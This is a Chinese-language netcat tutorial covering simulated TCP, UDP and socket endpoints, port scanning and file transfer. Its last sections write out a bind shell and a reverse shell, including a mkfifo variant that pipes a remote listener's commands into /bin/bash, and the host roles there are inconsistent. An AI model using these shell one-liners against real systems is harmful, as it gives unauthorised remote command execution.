简介

netcat 是一款调试 TCP/UDP 网络连接的利器,常被称作网络调试的瑞士军刀,可见其功能强大。

netcat 在 Linux, Windows 等各大操作系统上都有对应等发行版,以下以 Linux(Ubuntu 16.04) 为例介绍其几个强大的用法。

netcat 在 Linux 中一般通过命令 nc 调用。我们先来看下它的帮助文档

  1. # nc -h
  2. OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)
  3. This is nc from the netcat-openbsd package. An alternative nc is available
  4. in the netcat-traditional package.
  5. usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
  6. [-P proxy_username] [-p source_port] [-q seconds] [-s source]
  7. [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
  8. [-x proxy_address[:port]] [destination] [port]
  9. Command Summary:
  10. -4 Use IPv4
  11. -6 Use IPv6
  12. -b Allow broadcast
  13. -C Send CRLF as line-ending
  14. -D Enable the debug socket option
  15. -d Detach from stdin
  16. -h This help text
  17. -I length TCP receive buffer length
  18. -i secs Delay interval for lines sent, ports scanned
  19. -j Use jumbo frame
  20. -k Keep inbound sockets open for multiple connects
  21. -l Listen mode, for inbound connects
  22. -n Suppress name/port resolutions
  23. -O length TCP send buffer length
  24. -P proxyuser Username for proxy authentication
  25. -p port Specify local port for remote connects
  26. -q secs quit after EOF on stdin and delay of secs
  27. -r Randomize remote ports
  28. -S Enable the TCP MD5 signature option
  29. -s addr Local source address
  30. -T toskeyword Set IP Type of Service
  31. -t Answer TELNET negotiation
  32. -U Use UNIX domain socket
  33. -u UDP mode
  34. -V rtable Specify alternate routing table
  35. -v Verbose
  36. -w secs Timeout for connects and final net reads
  37. -X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
  38. -x addr[:port] Specify proxy address and port
  39. -Z DCCP mode
  40. -z Zero-I/O mode [used for scanning]
  41. Port numbers can be individual or ranges: lo-hi [inclusive]

可以看到我们使用的是 netcat-openbsd 这个发行版的 netcat, 除此之外,还有 netcat-traditional 等发行版。不同发行版的

基本功能相同,只是有细微的差别。

简单来说, nc 有以下功能:

  • 模拟 TCP 服务端
  • 模拟 TCP 客户端
  • 模拟 UDP 服务端
  • 模拟 UDP 客户端
  • 模拟 UNIX socket 服务端
  • 模拟 UNIX socket 客户端
  • 端口扫描
  • 传输文件
  • 将服务器 bash 暴露给远程客户端
  • 内网穿透,反向获取防火墙后的机器的 bash

以下分别举例说明。

实例

环境设定

假设

  • 服务器 A 有外网 IP 202.118.69.40
  • 服务器 B 没有外网 IP
  • 客户端 C 有外网 IP 202.119.70.41

三台主机上均为 Ubuntu 16.04 操作系统。

TODO 网络拓扑图

1 模拟 TCP 服务端

  1. nc -lk 9090

在服务器 A 执行以上命令,将会把 nc 绑定到 9090 端口,并开始监听请求。

-l 代表 netcat 将以监听模式运行;

-k 表示 nc 在接收完一个请求后不会立即退出,而是会继续监听其他请求。

这时就可以请求该接口了, nc 会把请求报文输出到标准输出。

例如在客户端 C 执行 curl 202.118.69.40

nc 将会将 HTTP 请求的报文输出到标准输出

  1. GET / HTTP/1.1
  2. Host: 192.168.0.71:9090
  3. User-Agent: curl/7.54.0
  4. Accept: */*

2 模拟 TCP 客户端

  1. printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

在客户端 C 执行上述代码,

C 的输出如下

  1. Connection to example.com port 80 [tcp/http] succeeded!
  2. HTTP/1.1 200 OK
  3. Accept-Ranges: bytes
  4. Cache-Control: max-age=604800
  5. Content-Type: text/html; charset=UTF-8
  6. Date: Tue, 09 Oct 2018 07:08:38 GMT
  7. Etag: "1541025663+gzip"
  8. Expires: Tue, 16 Oct 2018 07:08:38 GMT
  9. Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
  10. Server: ECS (sjc/4E52)
  11. Vary: Accept-Encoding
  12. X-Cache: HIT
  13. Content-Length: 1270
  14. <!doctype html>
  15. <html>
  16. <head>
  17. <title>Example Domain</title>
  18. <meta charset="utf-8" />
  19. <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
  20. <meta name="viewport" content="width=device-width, initial-scale=1" />
  21. <style type="text/css">
  22. ...
  23. </head>
  24. <body>
  25. <div>
  26. <h1>Example Domain</h1>
  27. <p>This domain is established to be used for illustrative examples in documents. You may use this
  28. domain in examples without prior coordination or asking for permission.</p>
  29. <p><a href="http://www.iana.org/domains/example">More information...</a></p>
  30. </div>
  31. </body>
  32. </html>

证明客户端模拟成功,给 example.com 发送了 HTTP Method 为 GET 的 HTTP 请求。

3 模拟 UDP 服务端

在 A 执行

  1. nc -lk -u 9090

4 模拟 UDP 客户端

在 C 执行

  1. nc -u 202.118.69.40 9090

此时在客户端终端中输入任意字符,将在 A 的终端中输出同样的字符,证明 UDP 服务端和客户端模拟成功。

5 模拟 UNIX socket 服务端

在 A 执行

  1. nc -Ul /tmp/mync.sock

6 模拟 UNIX socket 客户端

在 A 执行(UNIX 默认不能跨服务器)

  1. nc -U /tmp/mync.sock

此时在该终端中输入任意字符,将在第5步的终端中输出同样的字符,证明 Unix socket 服务端和客户端模拟成功。

7 端口扫描

  1. nc -vz 202.118.69.40 1-81 2>&1|grep succeed

-z 指 Zero-I/O mode,即连接的过程中禁用输入输出,仅用与端口扫描。

2>&1|grep succeed 默认情况下扫描过程中,不论成功与失败,扫描结果都被输出到了“标准错误输出”,该命令用来过滤,仅显示出打开到端口。

上述指令输出结果如下:

  1. Connection to 202.118.69.40 22 port [tcp/ssh] succeeded!
  2. Connection to 202.118.69.40 53 port [tcp/domain] succeeded!
  3. Connection to 202.118.69.40 80 port [tcp/http] succeeded!

8 传输文件

8.1 向服务器上传图片

服务器 A 监听 9090 端口

  1. nc -l 9090 | base64 -d > WechatIMG88.jpeg

客户端上传图片

  1. base64 WechatIMG88.jpeg | nc 202.118.69.40 9090

注:因为需要传输图片,所以先 base64 编码,然后下载完再解码避免终端错乱。

8.2 从服务器下载图片

服务器 A 监听 9090 端口,并将要下载的图片输出到 nc

  1. base64 WechatIMG88.jpeg | nc -l 9090

客户端下载

  1. nc -t 202.118.69.40 9090|base64 -D > w.jpeg

9 将服务器 bash 暴露给远程客户端

与 7 类似,只不过服务端将接收到到内容管道给 /bin/bash

然后在客户端输入要敲的命令

  1. nc -l 9090 | /bin/bash

10 内网穿透,反向获取防火墙后的机器的 bash

与 8 类似,只不过服务器 B 将内容管道给 /bin/bash

在客户端 A 打开监听

  1. nc -l 9090

在服务器 C 上执行以下代码反向接受命令

  1. nc -t 202.119.70.41 9090 | /bin/bash

然后在客户端 A 输入要执行的命令即可。

需要注意的是,使用上述命令远程执行命令时在客户端无法看到命令的返回结果。

通过创建命名管道的方式,可将 bash 执行的结果回传给 netcat,

具体命令如下(在服务器 C 执行代码):

  1. mkfifo ncpipe
  2. nc -t 202.119.70.41 9090 0<ncpipe| /bin/bash 1>ncpipe

netcat 详解的更多相关文章

  1. Linux nc (netcat) 详解

    Linux nc (netcat) 详解 http://blog.csdn.net/michael493439861/article/details/7445454

  2. linux netcat 命令详解

    功能说明:强大的网络工具语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...

  3. Linux 下的dd命令使用详解(摘录)

    一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意:指定数字的地方若以下列字符结尾,则乘以相应的数字:b=512:c=1:k=1024:w=2 参数注释: 1. ...

  4. dd命令使用详解

    dd命令使用详解 http://www.cnblogs.com/qq78292959/archive/2012/02/23/2364760.html 1.命令简介 dd 的主要选项: 指定数字的地方若 ...

  5. linux dd命令参数及用法详解---用指定大小的块拷贝一个文件(也可整盘备份)

    linux dd命令参数及用法详解---用指定大小的块拷贝一个文件 日期:2010-06-14 点击:3830 来源: 未知 分享至:            linux dd命令使用详解 dd 的主要 ...

  6. Linux 下的dd命令使用详解(摘录)【转】

    转自:https://www.cnblogs.com/jikexianfeng/p/6103500.html 一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意 ...

  7. Flume NG 配置详解(转)

    原文链接:[转]Flume NG 配置详解 (说明,名词对应解释 源-Source,接收器-Sink,通道-Channel) 配置 设置代理 Flume代理配置存储在本地配置文件.这是一个文本文件格式 ...

  8. Flume自定义拦截器(Interceptors)或自带拦截器时的一些经验技巧总结(图文详解)

    不多说,直接上干货! 一.自定义拦截器类型必须是:类全名$内部类名,其实就是内部类名称 如:zhouls.bigdata.MySearchAndReplaceInterceptor$Builder 二 ...

  9. Linux 下的dd命令使用详解

    转自:https://www.cnblogs.com/jikexianfeng/p/6103500.html 一.dd命令的解释 dd:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换. 注意 ...

随机推荐

  1. 图像的读取,显示与保存(基于skimage模块)

    一 skiamge模块 skimage包的全称是scikit-image SciKit (toolkit for SciPy) ,它对scipy.ndimage进行了扩展,提供了更多的图片处理功能.它 ...

  2. 洛谷P3387 缩点模板

    给定一个n个点m条边有向图,每个点有一个权值,求一条路径,使路径经过的点权值之和最大.你只需要求出这个权值和. 允许多次经过一条边或者一个点,但是,重复经过的点,权值只计算一次. 因为可以重复经过点, ...

  3. CF70D Professor's task(动态凸包)

    题面 两种操作: 1 往点集S中添加一个点(x,y); 2 询问(x,y)是否在点集S的凸包中. 数据保证至少有一个2操作, 保证刚开始会给出三个1操作, 且这三个操作中的点不共线. 题解 动态凸包板 ...

  4. 背包DP【bzoj2287】: 【POJ Challenge】消失之物

    2287: [POJ Challenge]消失之物 Description ftiasch 有 N 个物品, 体积分别是 W1, W2, ..., WN. 由于她的疏忽, 第 i 个物品丢失了. &q ...

  5. git分支主干

    ~/Desktop/work/movies/movie(apps) $ git status  //先查看是否有需要提交的东西# On branch appsnothing to commit (wo ...

  6. 在Maven父项目下创建子项目

    第一步:在父项目上右击,选择NEW 第二步:选择Maven下的Maven Module  ------Next 第三步,Next 第四步点击Advanced-----Name template选择如下 ...

  7. not null 非空约束

    例子:create table tb1(     id int,     name varchar(20) not null); 注意  空字符不等于null #手动,添加非空约束 (必须这个字段,没 ...

  8. 错误:正在解析文件 '/var/lib/dpkg/updates/0004'

    sudo rm /var/lib/dpkg/updates/* sudo apt-get update

  9. 机器学习读书会的分享 - Reinforcement Learning: An Introduction 第4-6章

    我在机器学习读书会的分享slides,关于DP.MC.TD方法: https://mp.weixin.qq.com/s/r8wZw4iZwFCz0nnakutY3Q 内容如下:

  10. Java继承改进

    一.java继承改进 首先,多继承的缺点: 1.继承多个父类,父类中方法名相同,产生歧义 2.父类中方法同名,子类未覆盖,也会歧义 所以,java改进,类只能单继承,接口可以多继承 接口中只有抽象方法 ...